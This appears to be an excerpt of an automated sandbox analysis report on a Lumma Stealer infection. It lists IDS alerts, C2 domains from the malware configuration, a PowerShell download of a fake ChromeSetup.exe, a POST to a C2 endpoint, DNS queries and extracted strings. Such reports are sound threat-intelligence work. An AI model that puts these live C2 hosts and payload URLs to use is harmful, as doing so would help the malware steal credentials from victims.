Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:62304 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.5:51225 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.5:64650 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.5:62224 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.5:64530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.5:64634 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.5:53803 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.5:51068 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 1810000 - Severity 1 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49860 -> 172.67.190.234:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49866 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49874 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49874 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49866 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49874 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49879 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 172.67.190.234:443 -> 192.168.2.5:49860

Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.101
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.101
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ChromeSetup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: chrome-browser-download.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: ;function Br(){this.part="snippet,id,contentDetails,localizations,statistics";this.Lk=new Xq({serverUrl:"https://www.googleapis.com/youtube/v3",serviceName:"youtubeDataApi"})} equals www.youtube.com (Youtube)
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: ;var Qga=Ha(["//www.youtube.com/player_api"]),Rga=Ln(Qga),Cr=[],Sga=!1;function Dr(){if(!Sga){window.onYouTubeIframeAPIReady=Tga;var a=Zo("SCRIPT");tn(a,Rga);document.head.appendChild(a);Sga=!0}} equals www.youtube.com (Youtube)
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: ;var Ssa=Ha(["//www.youtube.com/player_api"]),uB=4/3,Tsa=16/9,vB={autoplay:1,cc_load_policy:1,controls:2,hl:"en",rel:0,playsinline:0};function wB(a){var b=a.Hb;var c=a.Xl===void 0?!1:a.Xl;a=a.playerVars===void 0?vB:a.playerVars;A.call(this,"sc.tailwind.shared.video.VideoPlayer");this.o=!1;this.ma=0;this.Hb=b;this.Xl=c;this.id=this.Hb.getId();this.playerVars=a;b=this.Hb.mediumThumbnail.width;c=this.Hb.mediumThumbnail.height;this.aspectRatio=b&&c?b/c===uB?uB:Tsa:uB;this.watch(this.Hb)} equals www.youtube.com (Youtube)
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: Va=Va.split("-")[0].toLowerCase();if(Qa===Va\|\|e.localizations&&e.localizations[a.ua])a.ma=!0;e="https://www.youtube.com/embed/"+encodeURIComponent(a.id);a.embedUrl=e}a.state=2;a.Ea(0);Bo("youtube_video_model/load/success");return Ra(c,0)}Sa(c);a.state=3;a.Ea(0);Bo("youtube_video_model/load/failure");Oa(c)})} equals www.youtube.com (Youtube)
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: b.open("GET","https://www.googleapis.com/youtube/v3/videos?part=snippet%2C+id&key=AIzaSyD-4tE5aKFZYIS_IrfpCDRsgQZbv5VCJZM&id="+a.ma);b.send()} equals www.youtube.com (Youtube)
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: function AB(a){if(io())z().rs==2?window.YT&&window.YT.Player?CB(a,a.o):(Cr.push(function(f){CB(this,f)}.bind(a,a.o)),Dr()):po("//www.youtube.com/embed/"+a.ma+"/?rel=0&cc_load_policy=1&autoplay=1&hl="+window.sc_pageModel.lang); equals www.youtube.com (Youtube)
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ogin.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.go equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: chrome-browser-download.com
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: support.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: lh3.googleusercontent.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://.css
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://.jpg
Source: AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digic
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: GPU-Z.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: GPU-Z.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: powershell.exe, 0000000B.00000002.2884576426.0000000008992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: svchost.exe, 00000002.00000002.3310731711.0000016253E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: updater.exe.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: edb.log.2.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 0000000B.00000002.2874157518.0000000006480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: GPU-Z.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: GPU-Z.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000B.00000002.2862170170.0000000005421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2895502926.00000213962EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3098311752.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: GPU-Z.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: GPU-Z.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: AddInProcess32.exe, 00000008.00000002.2986055521.00000000005B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: http://support.google.com/#show-more
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: http://support.google.com/installer/
Source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	String found in binary or memory: http://support.google.com/installer/%s?product=%s&error=%d
Source: updater.exe, 00000013.00000002.3304464308.00000000050FC000.00000004.00000010.00020000.00000000.sdmp, updater.exe, 00000013.00000002.3304513157.0000000005109000.00000004.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000002.3309095320.0000000037034000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://support.google.com/installer/?product=&error=75035
Source: powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp, ChromeSetup.exe, 00000012.00000000.3086900144.00000000017CA000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000003.3094794003.0000000054114000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.3101351573.0000000009EFF000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: chromecache_90.22.dr, chromecache_91.22.dr	String found in binary or memory: http://www.google.com/support/websearch/bin/answer.py?hl=
Source: AddInProcess32.exe, 00000008.00000002.2986724331.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000000E.00000002.2895502926.00000213962D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 0000000E.00000002.2895502926.00000213962EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.2862170170.0000000005421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3098311752.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
